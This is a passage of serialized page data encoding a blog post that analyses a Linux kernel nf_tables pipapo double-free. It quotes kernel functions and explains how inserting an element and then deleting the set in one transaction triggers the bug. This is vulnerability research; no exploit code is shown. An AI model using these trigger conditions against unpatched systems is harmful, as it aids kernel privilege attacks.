",{"type":24,"tag":90,"props":53190,"children":53191},{"style":120},[53192],{"type":29,"value":983},{"type":24,"tag":90,"props":53194,"children":53195},{"style":114},[53196],{"type":29,"value":53197},"e;\n",{"type":24,"tag":90,"props":53199,"children":53200},{"class":92,"line":606},[53201],{"type":24,"tag":90,"props":53202,"children":53203},{"emptyLinePlaceholder":16},[53204],{"type":29,"value":245},{"type":24,"tag":90,"props":53206,"children":53207},{"class":92,"line":615},[53208,53212,53216,53220,53224,53228,53232,53236,53240,53244,53248,53252,53257,53262,53266,53270,53274,53279,53283,53287,53291,53295,53300,53304],{"type":24,"tag":90,"props":53209,"children":53210},{"style":636},[53211],{"type":29,"value":33207},{"type":24,"tag":90,"props":53213,"children":53214},{"style":114},[53215],{"type":29,"value":53133},{"type":24,"tag":90,"props":53217,"children":53218},{"style":120},[53219],{"type":29,"value":1575},{"type":24,"tag":90,"props":53221,"children":53222},{"style":136},[53223],{"type":29,"value":34785},{"type":24,"tag":90,"props":53225,"children":53226},{"style":114},[53227],{"type":29,"value":177},{"type":24,"tag":90,"props":53229,"children":53230},{"style":136},[53231],{"type":29,"value":53163},{"type":24,"tag":90,"props":53233,"children":53234},{"style":120},[53235],{"type":29,"value":53079},{"type":24,"tag":90,"props":53237,"children":53238},{"style":349},[53239],{"type":29,"value":6909},{"type":24,"tag":90,"props":53241,"children":53242},{"style":120},[53243],{"type":29,"value":649},{"type":24,"tag":90,"props":53245,"children":53246},{"style":136},[53247],{"type":29,"value":34785},{"type":24,"tag":90,"props":53249,"children":53250},{"style":114},[53251],{"type":29,"value":177},{"type":24,"tag":90,"props":53253,"children":53254},{"style":136},[53255],{"type":29,"value":53256},"mt",{"type":24,"tag":90,"props":53258,"children":53259},{"style":114},[53260],{"type":29,"value":53261},"[r ",{"type":24,"tag":90,"props":53263,"children":53264},{"style":120},[53265],{"type":29,"value":6767},{"type":24,"tag":90,"props":53267,"children":53268},{"style":349},[53269],{"type":29,"value":6909},{"type":24,"tag":90,"props":53271,"children":53272},{"style":114},[53273],{"type":29,"value":52172},{"type":24,"tag":90,"props":53275,"children":53276},{"style":136},[53277],{"type":29,"value":53278},"e",{"type":24,"tag":90,"props":53280,"children":53281},{"style":120},[53282],{"type":29,"value":2102},{"type":24,"tag":90,"props":53284,"children":53285},{"style":136},[53286],{"type":29,"value":34785},{"type":24,"tag":90,"props":53288,"children":53289},{"style":114},[53290],{"type":29,"value":177},{"type":24,"tag":90,"props":53292,"children":53293},{"style":136},[53294],{"type":29,"value":53256},{"type":24,"tag":90,"props":53296,"children":53297},{"style":114},[53298],{"type":29,"value":53299},"[r].",{"type":24,"tag":90,"props":53301,"children":53302},{"style":136},[53303],{"type":29,"value":53278},{"type":24,"tag":90,"props":53305,"children":53306},{"style":114},[53307],{"type":29,"value":1686},{"type":24,"tag":90,"props":53309,"children":53310},{"class":92,"line":623},[53311,53316],{"type":24,"tag":90,"props":53312,"children":53313},{"style":636},[53314],{"type":29,"value":53315}," continue",{"type":24,"tag":90,"props":53317,"children":53318},{"style":114},[53319],{"type":29,"value":381},{"type":24,"tag":90,"props":53321,"children":53322},{"class":92,"line":632},[53323],{"type":24,"tag":90,"props":53324,"children":53325},{"emptyLinePlaceholder":16},[53326],{"type":29,"value":245},{"type":24,"tag":90,"props":53328,"children":53329},{"class":92,"line":669},[53330,53335,53339,53343,53347,53351,53355,53359],{"type":24,"tag":90,"props":53331,"children":53332},{"style":114},[53333],{"type":29,"value":53334}," e ",{"type":24,"tag":90,"props":53336,"children":53337},{"style":120},[53338],{"type":29,"value":5491},{"type":24,"tag":90,"props":53340,"children":53341},{"style":136},[53342],{"type":29,"value":34785},{"type":24,"tag":90,"props":53344,"children":53345},{"style":114},[53346],{"type":29,"value":177},{"type":24,"tag":90,"props":53348,"children":53349},{"style":136},[53350],{"type":29,"value":53256},{"type":24,"tag":90,"props":53352,"children":53353},{"style":114},[53354],{"type":29,"value":53299},{"type":24,"tag":90,"props":53356,"children":53357},{"style":136},[53358],{"type":29,"value":53278},{"type":24,"tag":90,"props":53360,"children":53361},{"style":114},[53362],{"type":29,"value":381},{"type":24,"tag":90,"props":53364,"children":53365},{"class":92,"line":683},[53366],{"type":24,"tag":90,"props":53367,"children":53368},{"emptyLinePlaceholder":16},[53369],{"type":29,"value":245},{"type":24,"tag":90,"props":53371,"children":53372},{"class":92,"line":737},[53373,53378,53383,53387,53391,53395,53400],{"type":24,"tag":90,"props":53374,"children":53375},{"style":108},[53376],{"type":29,"value":53377}," nf_tables_set_elem_destroy",{"type":24,"tag":90,"props":53379,"children":53380},{"style":114},[53381],{"type":29,"value":53382},"(ctx, set, ",{"type":24,"tag":90,"props":53384,"children":53385},{"style":120},[53386],{"type":29,"value":123},{"type":24,"tag":90,"props":53388,"children":53389},{"style":136},[53390],{"type":29,"value":53278},{"type":24,"tag":90,"props":53392,"children":53393},{"style":114},[53394],{"type":29,"value":177},{"type":24,"tag":90,"props":53396,"children":53397},{"style":136},[53398],{"type":29,"value":53399},"priv",{"type":24,"tag":90,"props":53401,"children":53402},{"style":114},[53403],{"type":29,"value":571},{"type":24,"tag":90,"props":53405,"children":53406},{"class":92,"line":751},[53407],{"type":24,"tag":90,"props":53408,"children":53409},{"style":114},[53410],{"type":29,"value":11967},{"type":24,"tag":90,"props":53412,"children":53413},{"class":92,"line":782},[53414],{"type":24,"tag":90,"props":53415,"children":53416},{"style":114},[53417],{"type":29,"value":827},{"type":24,"tag":25,"props":53419,"children":53420},{},[53421,53423,53429,53431,53436],{"type":29,"value":53422},"Which will then ",{"type":24,"tag":32,"props":53424,"children":53426},{"className":53425},[],[53427],{"type":29,"value":53428},"kfree()",{"type":29,"value":53430}," the ",{"type":24,"tag":32,"props":53432,"children":53434},{"className":53433},[],[53435],{"type":29,"value":52835},{"type":29,"value":226},{"type":24,"tag":80,"props":53438,"children":53440},{"className":3028,"code":53439,"language":3030,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[53441],{"type":24,"tag":32,"props":53442,"children":53443},{"__ignoreMap":7},[53444,53485,53513,53542,53549,53584,53591,53612,53635,53642,53655],{"type":24,"tag":90,"props":53445,"children":53446},{"class":92,"line":93},[53447,53452,53457,53461,53465,53469,53473,53477,53481],{"type":24,"tag":90,"props":53448,"children":53449},{"style":97},[53450],{"type":29,"value":53451},"void",{"type":24,"tag":90,"props":53453,"children":53454},{"style":108},[53455],{"type":29,"value":53456}," nf_tables_set_elem_destroy",{"type":24,"tag":90,"props":53458,"children":53459},{"style":114},[53460],{"type":29,"value":117},{"type":24,"tag":90,"props":53462,"children":53463},{"style":97},[53464],{"type":29,"value":508},{"type":24,"tag":90,"props":53466,"children":53467},{"style":97},[53468],{"type":29,"value":22947},{"type":24,"tag":90,"props":53470,"children":53471},{"style":114},[53472],{"type":29,"value":52895},{"type":24,"tag":90,"props":53474,"children":53475},{"style":120},[53476],{"type":29,"value":983},{"type":24,"tag":90,"props":53478,"children":53479},{"style":136},[53480],{"type":29,"value":22076},{"type":24,"tag":90,"props":53482,"children":53483},{"style":114},[53484],{"type":29,"value":748},{"type":24,"tag":90,"props":53486,"children":53487},{"class":92,"line":200},[53488,53493,53497,53501,53505,53509],{"type":24,"tag":90,"props":53489,"children":53490},{"style":97},[53491],{"type":29,"value":53492}," const",{"type":24,"tag":90,"props":53494,"children":53495},{"style":97},[53496],{"type":29,"value":22947},{"type":24,"tag":90,"props":53498,"children":53499},{"style":114},[53500],{"type":29,"value":52923},{"type":24,"tag":90,"props":53502,"children":53503},{"style":120},[53504],{"type":29,"value":983},{"type":24,"tag":90,"props":53506,"children":53507},{"style":136},[53508],{"type":29,"value":52843},{"type":24,"tag":90,"props":53510,"children":53511},{"style":114},[53512],{"type":29,"value":748},{"type":24,"tag":90,"props":53514,"children":53515},{"class":92,"line":239},[53516,53520,53524,53529,53533,53538],{"type":24,"tag":90,"props":53517,"children":53518},{"style":97},[53519],{"type":29,"value":53492},{"type":24,"tag":90,"props":53521,"children":53522},{"style":97},[53523],{"type":29,"value":22947},{"type":24,"tag":90,"props":53525,"children":53526},{"style":114},[53527],{"type":29,"value":53528}," nft_elem_priv ",{"type":24,"tag":90,"props":53530,"children":53531},{"style":120},[53532],{"type":29,"value":983},{"type":24,"tag":90,"props":53534,"children":53535},{"style":136},[53536],{"type":29,"value":53537},"elem_priv",{"type":24,"tag":90,"props":53539,"children":53540},{"style":114},[53541],{"type":29,"value":1686},{"type":24,"tag":90,"props":53543,"children":53544},{"class":92,"line":248},[53545],{"type":24,"tag":90,"props":53546,"children":53547},{"style":114},[53548],{"type":29,"value":2221},{"type":24,"tag":90,"props":53550,"children":53551},{"class":92,"line":258},[53552,53556,53561,53565,53570,53574,53579],{"type":24,"tag":90,"props":53553,"children":53554},{"style":97},[53555],{"type":29,"value":22947},{"type":24,"tag":90,"props":53557,"children":53558},{"style":114},[53559],{"type":29,"value":53560}," nft_set_ext ",{"type":24,"tag":90,"props":53562,"children":53563},{"style":120},[53564],{"type":29,"value":983},{"type":24,"tag":90,"props":53566,"children":53567},{"style":114},[53568],{"type":29,"value":53569},"ext ",{"type":24,"tag":90,"props":53571,"children":53572},{"style":120},[53573],{"type":29,"value":5491},{"type":24,"tag":90,"props":53575,"children":53576},{"style":108},[53577],{"type":29,"value":53578}," nft_set_elem_ext",{"type":24,"tag":90,"props":53580,"children":53581},{"style":114},[53582],{"type":29,"value":53583},"(set, elem_priv);\n",{"type":24,"tag":90,"props":53585,"children":53586},{"class":92,"line":272},[53587],{"type":24,"tag":90,"props":53588,"children":53589},{"emptyLinePlaceholder":16},[53590],{"type":29,"value":245},{"type":24,"tag":90,"props":53592,"children":53593},{"class":92,"line":281},[53594,53598,53602,53607],{"type":24,"tag":90,"props":53595,"children":53596},{"style":636},[53597],{"type":29,"value":2298},{"type":24,"tag":90,"props":53599,"children":53600},{"style":114},[53601],{"type":29,"value":1151},{"type":24,"tag":90,"props":53603,"children":53604},{"style":108},[53605],{"type":29,"value":53606},"nft_set_ext_exists",{"type":24,"tag":90,"props":53608,"children":53609},{"style":114},[53610],{"type":29,"value":53611},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":24,"tag":90,"props":53613,"children":53614},{"class":92,"line":384},[53615,53620,53625,53630],{"type":24,"tag":90,"props":53616,"children":53617},{"style":108},[53618],{"type":29,"value":53619}," nft_set_elem_expr_destroy",{"type":24,"tag":90,"props":53621,"children":53622},{"style":114},[53623],{"type":29,"value":53624},"(ctx, ",{"type":24,"tag":90,"props":53626,"children":53627},{"style":108},[53628],{"type":29,"value":53629},"nft_set_ext_expr",{"type":24,"tag":90,"props":53631,"children":53632},{"style":114},[53633],{"type":29,"value":53634},"(ext));\n",{"type":24,"tag":90,"props":53636,"children":53637},{"class":92,"line":420},[53638],{"type":24,"tag":90,"props":53639,"children":53640},{"emptyLinePlaceholder":16},[53641],{"type":29,"value":245},{"type":24,"tag":90,"props":53643,"children":53644},{"class":92,"line":428},[53645,53650],{"type":24,"tag":90,"props":53646,"children":53647},{"style":108},[53648],{"type":29,"value":53649}," kfree",{"type":24,"tag":90,"props":53651,"children":53652},{"style":114},[53653],{"type":29,"value":53654},"(elem_priv);\n",{"type":24,"tag":90,"props":53656,"children":53657},{"class":92,"line":437},[53658],{"type":24,"tag":90,"props":53659,"children":53660},{"style":114},[53661],{"type":29,"value":827},{"type":24,"tag":25,"props":53663,"children":53664},{},[53665,53666,53672,53674,53679,53681,53686,53688,53693,53694,53699,53701,53706,53708,53713,53715,53720],{"type":29,"value":3131},{"type":24,"tag":32,"props":53667,"children":53669},{"className":53668},[],[53670],{"type":29,"value":53671},"nft_pipapo_match",{"type":29,"value":53673}," objects contain views of the ",{"type":24,"tag":32,"props":53675,"children":53677},{"className":53676},[],[53678],{"type":29,"value":52835},{"type":29,"value":53680},"'s of a ",{"type":24,"tag":32,"props":53682,"children":53684},{"className":53683},[],[53685],{"type":29,"value":52843},{"type":29,"value":53687},". The difference between the ",{"type":24,"tag":32,"props":53689,"children":53691},{"className":53690},[],[53692],{"type":29,"value":52820},{"type":29,"value":13360},{"type":24,"tag":32,"props":53695,"children":53697},{"className":53696},[],[53698],{"type":29,"value":52804},{"type":29,"value":53700}," match objects is that the clone has a view of not only already committed ",{"type":24,"tag":32,"props":53702,"children":53704},{"className":53703},[],[53705],{"type":29,"value":52835},{"type":29,"value":53707},"'s that the \"normal\" one has but also a view of the ",{"type":24,"tag":32,"props":53709,"children":53711},{"className":53710},[],[53712],{"type":29,"value":52835},{"type":29,"value":53714},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":24,"tag":32,"props":53716,"children":53718},{"className":53717},[],[53719],{"type":29,"value":52820},{"type":29,"value":226},{"type":24,"tag":1019,"props":53722,"children":53724},{"id":53723},"root-cause-analysis",[53725],{"type":29,"value":53726},"Root-cause analysis",{"type":24,"tag":25,"props":53728,"children":53729},{},[53730,53732,53738,53740,53745],{"type":29,"value":53731},"So ",{"type":24,"tag":32,"props":53733,"children":53735},{"className":53734},[],[53736],{"type":29,"value":53737},"nf_tables_set_elem_destroy",{"type":29,"value":53739}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":24,"tag":32,"props":53741,"children":53743},{"className":53742},[],[53744],{"type":29,"value":52835},{"type":29,"value":53746},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":24,"tag":25,"props":53748,"children":53749},{},[53750,53752,53757,53759,53764,53766,53771,53773,53778,53780,53785],{"type":29,"value":53751},"We should now try to understand how to reach that path with the ",{"type":24,"tag":32,"props":53753,"children":53755},{"className":53754},[],[53756],{"type":29,"value":52797},{"type":29,"value":53758}," flag set, which is a member of the private data of a pipapo ",{"type":24,"tag":32,"props":53760,"children":53762},{"className":53761},[],[53763],{"type":29,"value":52835},{"type":29,"value":53765}," that becomes true whenever a change is made to the ",{"type":24,"tag":32,"props":53767,"children":53769},{"className":53768},[],[53770],{"type":29,"value":52843},{"type":29,"value":53772}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":24,"tag":32,"props":53774,"children":53776},{"className":53775},[],[53777],{"type":29,"value":52843},{"type":29,"value":53779}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":24,"tag":32,"props":53781,"children":53783},{"className":53782},[],[53784],{"type":29,"value":52843},{"type":29,"value":53786}," dirty by inserting a new element.",{"type":24,"tag":80,"props":53788,"children":53790},{"className":3028,"code":53789,"language":3030,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n const struct nft_set_elem *elem,\n struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[53791],{"type":24,"tag":32,"props":53792,"children":53793},{"__ignoreMap":7},[53794,53864,53893,53918,53925,53932,53961,53968],{"type":24,"tag":90,"props":53795,"children":53796},{"class":92,"line":93},[53797,53801,53805,53810,53814,53818,53822,53827,53831,53836,53840,53844,53848,53852,53856,53860],{"type":24,"tag":90,"props":53798,"children":53799},{"style":97},[53800],{"type":29,"value":52868},{"type":24,"tag":90,"props":53802,"children":53803},{"style":97},[53804],{"type":29,"value":52997},{"type":24,"tag":90,"props":53806,"children":53807},{"style":108},[53808],{"type":29,"value":53809}," nft_pipapo_insert",{"type":24,"tag":90,"props":53811,"children":53812},{"style":114},[53813],{"type":29,"value":117},{"type":24,"tag":90,"props":53815,"children":53816},{"style":97},[53817],{"type":29,"value":508},{"type":24,"tag":90,"props":53819,"children":53820},{"style":97},[53821],{"type":29,"value":22947},{"type":24,"tag":90,"props":53823,"children":53824},{"style":114},[53825],{"type":29,"value":53826}," net ",{"type":24,"tag":90,"props":53828,"children":53829},{"style":120},[53830],{"type":29,"value":983},{"type":24,"tag":90,"props":53832,"children":53833},{"style":136},[53834],{"type":29,"value":53835},"net",{"type":24,"tag":90,"props":53837,"children":53838},{"style":114},[53839],{"type":29,"value":133},{"type":24,"tag":90,"props":53841,"children":53842},{"style":97},[53843],{"type":29,"value":508},{"type":24,"tag":90,"props":53845,"children":53846},{"style":97},[53847],{"type":29,"value":22947},{"type":24,"tag":90,"props":53849,"children":53850},{"style":114},[53851],{"type":29,"value":52923},{"type":24,"tag":90,"props":53853,"children":53854},{"style":120},[53855],{"type":29,"value":983},{"type":24,"tag":90,"props":53857,"children":53858},{"style":136},[53859],{"type":29,"value":52843},{"type":24,"tag":90,"props":53861,"children":53862},{"style":114},[53863],{"type":29,"value":748},{"type":24,"tag":90,"props":53865,"children":53866},{"class":92,"line":200},[53867,53871,53875,53880,53884,53889],{"type":24,"tag":90,"props":53868,"children":53869},{"style":97},[53870],{"type":29,"value":34715},{"type":24,"tag":90,"props":53872,"children":53873},{"style":97},[53874],{"type":29,"value":22947},{"type":24,"tag":90,"props":53876,"children":53877},{"style":114},[53878],{"type":29,"value":53879}," nft_set_elem ",{"type":24,"tag":90,"props":53881,"children":53882},{"style":120},[53883],{"type":29,"value":983},{"type":24,"tag":90,"props":53885,"children":53886},{"style":136},[53887],{"type":29,"value":53888},"elem",{"type":24,"tag":90,"props":53890,"children":53891},{"style":114},[53892],{"type":29,"value":748},{"type":24,"tag":90,"props":53894,"children":53895},{"class":92,"line":239},[53896,53901,53905,53910,53914],{"type":24,"tag":90,"props":53897,"children":53898},{"style":97},[53899],{"type":29,"value":53900}," struct",{"type":24,"tag":90,"props":53902,"children":53903},{"style":114},[53904],{"type":29,"value":53528},{"type":24,"tag":90,"props":53906,"children":53907},{"style":120},[53908],{"type":29,"value":53909},"**",{"type":24,"tag":90,"props":53911,"children":53912},{"style":136},[53913],{"type":29,"value":53537},{"type":24,"tag":90,"props":53915,"children":53916},{"style":114},[53917],{"type":29,"value":1686},{"type":24,"tag":90,"props":53919,"children":53920},{"class":92,"line":248},[53921],{"type":24,"tag":90,"props":53922,"children":53923},{"style":114},[53924],{"type":29,"value":2221},{"type":24,"tag":90,"props":53926,"children":53927},{"class":92,"line":258},[53928],{"type":24,"tag":90,"props":53929,"children":53930},{"style":114},[53931],{"type":29,"value":12686},{"type":24,"tag":90,"props":53933,"children":53934},{"class":92,"line":272},[53935,53940,53944,53949,53953,53957],{"type":24,"tag":90,"props":53936,"children":53937},{"style":136},[53938],{"type":29,"value":53939}," priv",{"type":24,"tag":90,"props":53941,"children":53942},{"style":114},[53943],{"type":29,"value":177},{"type":24,"tag":90,"props":53945,"children":53946},{"style":136},[53947],{"type":29,"value":53948},"dirty",{"type":24,"tag":90,"props":53950,"children":53951},{"style":120},[53952],{"type":29,"value":216},{"type":24,"tag":90,"props":53954,"children":53955},{"style":97},[53956],{"type":29,"value":14835},{"type":24,"tag":90,"props":53958,"children":53959},{"style":114},[53960],{"type":29,"value":381},{"type":24,"tag":90,"props":53962,"children":53963},{"class":92,"line":281},[53964],{"type":24,"tag":90,"props":53965,"children":53966},{"style":114},[53967],{"type":29,"value":12686},{"type":24,"tag":90,"props":53969,"children":53970},{"class":92,"line":384},[53971],{"type":24,"tag":90,"props":53972,"children":53973},{"style":114},[53974],{"type":29,"value":827},{"type":24,"tag":25,"props":53976,"children":53977},{},[53978],{"type":29,"value":53979},"We also see that when the changes are commited, this flag is then unset.",{"type":24,"tag":80,"props":53981,"children":53983},{"className":3028,"code":53982,"language":3030,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[53984],{"type":24,"tag":32,"props":53985,"children":53986},{"__ignoreMap":7},[53987,54027,54034,54041,54072,54083,54090,54117,54124],{"type":24,"tag":90,"props":53988,"children":53989},{"class":92,"line":93},[53990,53994,53998,54003,54007,54011,54015,54019,54023],{"type":24,"tag":90,"props":53991,"children":53992},{"style":97},[53993],{"type":29,"value":52868},{"type":24,"tag":90,"props":53995,"children":53996},{"style":97},[53997],{"type":29,"value":52873},{"type":24,"tag":90,"props":53999,"children":54000},{"style":108},[54001],{"type":29,"value":54002}," nft_pipapo_commit",{"type":24,"tag":90,"props":54004,"children":54005},{"style":114},[54006],{"type":29,"value":117},{"type":24,"tag":90,"props":54008,"children":54009},{"style":97},[54010],{"type":29,"value":3050},{"type":24,"tag":90,"props":54012,"children":54013},{"style":114},[54014],{"type":29,"value":52923},{"type":24,"tag":90,"props":54016,"children":54017},{"style":120},[54018],{"type":29,"value":983},{"type":24,"tag":90,"props":54020,"children":54021},{"style":136},[54022],{"type":29,"value":52843},{"type":24,"tag":90,"props":54024,"children":54025},{"style":114},[54026],{"type":29,"value":1686},{"type":24,"tag":90,"props":54028,"children":54029},{"class":92,"line":200},[54030],{"type":24,"tag":90,"props":54031,"children":54032},{"style":114},[54033],{"type":29,"value":2221},{"type":24,"tag":90,"props":54035,"children":54036},{"class":92,"line":239},[54037],{"type":24,"tag":90,"props":54038,"children":54039},{"style":114},[54040],{"type":29,"value":12686},{"type":24,"tag":90,"props":54042,"children":54043},{"class":92,"line":248},[54044,54048,54052,54056,54060,54064,54068],{"type":24,"tag":90,"props":54045,"children":54046},{"style":636},[54047],{"type":29,"value":2298},{"type":24,"tag":90,"props":54049,"children":54050},{"style":114},[54051],{"type":29,"value":1151},{"type":24,"tag":90,"props":54053,"children":54054},{"style":120},[54055],{"type":29,"value":22417},{"type":24,"tag":90,"props":54057,"children":54058},{"style":136},[54059],{"type":29,"value":53399},{"type":24,"tag":90,"props":54061,"children":54062},{"style":114},[54063],{"type":29,"value":177},{"type":24,"tag":90,"props":54065,"children":54066},{"style":136},[54067],{"type":29,"value":53948},{"type":24,"tag":90,"props":54069,"children":54070},{"style":114},[54071],{"type":29,"value":1686},{"type":24,"tag":90,"props":54073,"children":54074},{"class":92,"line":258},[54075,54079],{"type":24,"tag":90,"props":54076,"children":54077},{"style":636},[54078],{"type":29,"value":41015},{"type":24,"tag":90,"props":54080,"children":54081},{"style":114},[54082],{"type":29,"value":381},{"type":24,"tag":90,"props":54084,"children":54085},{"class":92,"line":272},[54086],{"type":24,"tag":90,"props":54087,"children":54088},{"style":114},[54089],{"type":29,"value":12686},{"type":24,"tag":90,"props":54091,"children":54092},{"class":92,"line":281},[54093,54097,54101,54105,54109,54113],{"type":24,"tag":90,"props":54094,"children":54095},{"style":136},[54096],{"type":29,"value":53939},{"type":24,"tag":90,"props":54098,"children":54099},{"style":114},[54100],{"type":29,"value":177},{"type":24,"tag":90,"props":54102,"children":54103},{"style":136},[54104],{"type":29,"value":53948},{"type":24,"tag":90,"props":54106,"children":54107},{"style":120},[54108],{"type":29,"value":216},{"type":24,"tag":90,"props":54110,"children":54111},{"style":97},[54112],{"type":29,"value":11431},{"type":24,"tag":90,"props":54114,"children":54115},{"style":114},[54116],{"type":29,"value":381},{"type":24,"tag":90,"props":54118,"children":54119},{"class":92,"line":384},[54120],{"type":24,"tag":90,"props":54121,"children":54122},{"style":114},[54123],{"type":29,"value":12686},{"type":24,"tag":90,"props":54125,"children":54126},{"class":92,"line":420},[54127],{"type":24,"tag":90,"props":54128,"children":54129},{"style":114},[54130],{"type":29,"value":827},{"type":24,"tag":25,"props":54132,"children":54133},{},[54134,54136,54141,54143,54148,54150,54155,54157,54162,54164,54170,54172,54178,54180,54185],{"type":29,"value":54135},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":24,"tag":32,"props":54137,"children":54139},{"className":54138},[],[54140],{"type":29,"value":52835},{"type":29,"value":54142}," in the ",{"type":24,"tag":32,"props":54144,"children":54146},{"className":54145},[],[54147],{"type":29,"value":52843},{"type":29,"value":54149}," to make it dirty and then delete the ",{"type":24,"tag":32,"props":54151,"children":54153},{"className":54152},[],[54154],{"type":29,"value":52843},{"type":29,"value":54156},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":24,"tag":32,"props":54158,"children":54160},{"className":54159},[],[54161],{"type":29,"value":52843},{"type":29,"value":54163},"'s ",{"type":24,"tag":32,"props":54165,"children":54167},{"className":54166},[],[54168],{"type":29,"value":54169},"->commit()",{"type":29,"value":54171}," method is executed before its ",{"type":24,"tag":32,"props":54173,"children":54175},{"className":54174},[],[54176],{"type":29,"value":54177},"->destroy()",{"type":29,"value":54179}," method, then the ",{"type":24,"tag":32,"props":54181,"children":54183},{"className":54182},[],[54184],{"type":29,"value":53948},{"type":29,"value":54186}," flag will be unset, and we won't be able to trigger the double-free.",{"type":24,"tag":25,"props":54188,"children":54189},{},[54190],{"type":29,"value":54191},"Let's once again refer to the code and see how these methods are called.",{"type":24,"tag":80,"props":54193,"children":54195},{"className":3028,"code":54194,"language":3030,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET: // [1]\n nft_trans_set(trans)->dead = 1; // [2]\n list_del_rcu(&nft_trans_set(trans)->list);\n nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n trans->msg_type, GFP_KERNEL);\n break;\n case NFT_MSG_NEWSETELEM: // [3]\n[...]\n if (te->set->ops->commit &&\n list_empty(&te->set->pending_update)) {\n list_add_tail(&te->set->pending_update,\n &set_update_list);\n }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[54196],{"type":24,"tag":32,"props":54197,"children":54198},{"__ignoreMap":7},[54199,54261,54268,54275,54283,54296,54331,54365,54407,54429,54441,54454,54461,54509,54550,54590,54603,54610,54617,54624,54631,54656,54663,54676,54683,54699],{"type":24,"tag":90,"props":54200,"children":54201},{"class":92,"line":93},[54202,54206,54210,54215,54219,54223,54227,54231,54235,54239,54243,54248,54252,54257],{"type":24,"tag":90,"props":54203,"children":54204},{"style":97},[54205],{"type":29,"value":52868},{"type":24,"tag":90,"props":54207,"children":54208},{"style":97},[54209],{"type":29,"value":52997},{"type":24,"tag":90,"props":54211,"children":54212},{"style":108},[54213],{"type":29,"value":54214}," nf_tables_commit",{"type":24,"tag":90,"props":54216,"children":54217},{"style":114},[54218],{"type":29,"value":117},{"type":24,"tag":90,"props":54220,"children":54221},{"style":97},[54222],{"type":29,"value":3050},{"type":24,"tag":90,"props":54224,"children":54225},{"style":114},[54226],{"type":29,"value":53826},{"type":24,"tag":90,"props":54228,"children":54229},{"style":120},[54230],{"type":29,"value":983},{"type":24,"tag":90,"props":54232,"children":54233},{"style":136},[54234],{"type":29,"value":53835},{"type":24,"tag":90,"props":54236,"children":54237},{"style":114},[54238],{"type":29,"value":133},{"type":24,"tag":90,"props":54240,"children":54241},{"style":97},[54242],{"type":29,"value":3050},{"type":24,"tag":90,"props":54244,"children":54245},{"style":114},[54246],{"type":29,"value":54247}," sk_buff ",{"type":24,"tag":90,"props":54249,"children":54250},{"style":120},[54251],{"type":29,"value":983},{"type":24,"tag":90,"props":54253,"children":54254},{"style":136},[54255],{"type":29,"value":54256},"skb",{"type":24,"tag":90,"props":54258,"children":54259},{"style":114},[54260],{"type":29,"value":1686},{"type":24,"tag":90,"props":54262,"children":54263},{"class":92,"line":200},[54264],{"type":24,"tag":90,"props":54265,"children":54266},{"style":114},[54267],{"type":29,"value":2221},{"type":24,"tag":90,"props":54269,"children":54270},{"class":92,"line":239},[54271],{"type":24,"tag":90,"props":54272,"children":54273},{"style":114},[54274],{"type":29,"value":12686},{"type":24,"tag":90,"props":54276,"children":54277},{"class":92,"line":248},[54278],{"type":24,"tag":90,"props":54279,"children":54280},{"style":114},[54281],{"type":29,"value":54282}," case NFT_MSG_DELSET:\n",{"type":24,"tag":90,"props":54284,"children":54285},{"class":92,"line":258},[54286,54291],{"type":24,"tag":90,"props":54287,"children":54288},{"style":114},[54289],{"type":29,"value":54290}," case NFT_MSG_DESTROYSET:",{"type":24,"tag":90,"props":54292,"children":54293},{"style":252},[54294],{"type":29,"value":54295}," // [1]\n",{"type":24,"tag":90,"props":54297,"children":54298},{"class":92,"line":272},[54299,54304,54309,54314,54318,54322,54326],{"type":24,"tag":90,"props":54300,"children":54301},{"style":108},[54302],{"type":29,"value":54303}," nft_trans_set",{"type":24,"tag":90,"props":54305,"children":54306},{"style":114},[54307],{"type":29,"value":54308},"(trans)->",{"type":24,"tag":90,"props":54310,"children":54311},{"style":136},[54312],{"type":29,"value":54313},"dead",{"type":24,"tag":90,"props":54315,"children":54316},{"style":120},[54317],{"type":29,"value":216},{"type":24,"tag":90,"props":54319,"children":54320},{"style":349},[54321],{"type":29,"value":6909},{"type":24,"tag":90,"props":54323,"children":54324},{"style":114},[54325],{"type":29,"value":50897},{"type":24,"tag":90,"props":54327,"children":54328},{"style":252},[54329],{"type":29,"value":54330}," // [2]\n",{"type":24,"tag":90,"props":54332,"children":54333},{"class":92,"line":281},[54334,54339,54343,54347,54352,54356,54361],{"type":24,"tag":90,"props":54335,"children":54336},{"style":108},[54337],{"type":29,"value":54338}," 